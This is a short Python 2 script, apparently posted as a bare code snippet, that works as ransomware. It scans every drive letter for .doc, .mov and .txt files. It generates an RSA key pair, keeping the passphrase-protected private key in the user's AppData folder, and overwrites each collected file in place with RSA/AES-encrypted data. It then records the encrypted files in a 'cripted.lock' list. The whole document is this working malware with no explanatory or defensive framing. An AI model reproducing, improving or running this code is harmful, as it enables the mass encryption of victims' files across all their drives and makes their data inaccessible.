Code:
# -*- coding: utf-8 -*-
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES, PKCS1_OAEP
import os
disks = []
tmp = []
added = []
appdata = os.environ['appdata']
appdata += r'\\'
def GetDisk():
for x in ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X']:
try:
path = x + ":\\"
os.chdir(path)
retval = os.getcwd()
disks.append(retval)
except WindowsError:
continue
def GetDirectory(path):
for rootdir, dirs, files in os.walk(path):
for file in files:
if((file.decode('cp1251').split('.')[-1]) in ['doc','mov','txt']):
sek = os.path.join(rootdir, file)
tmp.append(sek)
def GenRSA():
code = 'loli'
key = RSA.generate(2048)
encrypted_key = key.exportKey(
passphrase=code,
pkcs=8,
protection="scryptAndAES128-CBC"
)
with open(appdata + 'prk.bin', 'wb') as f:
f.write(encrypted_key)
with open(appdata + 'pbk.pem', 'wb') as f:
f.write(key.publickey().exportKey())
def Crypt(filename):
handle = open(filename,'rb')
data = handle.read()
handle.close()
data = bytes(data)
with open(filename, 'wb') as out_file:
recipient_key = RSA.import_key(
open(appdata + 'pbk.pem').read()
)
session_key = get_random_bytes(16)
cipher_rsa = PKCS1_OAEP.new(recipient_key)
out_file.write(cipher_rsa.encrypt(session_key))
cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(data)
out_file.write(cipher_aes.nonce)
out_file.write(tag)
out_file.write(ciphertext)
GenRSA()
GetDisk()
for d in disks:
GetDirectory(d)
for filename in tmp:
try:
Crypt(filename)
added.append(filename)
except IOError:
continue
handle = open(appdata + 'cripted.lock','w')
for j in added:
handle.write(j)
handle.write('\n')
handle.close()
print 'done'
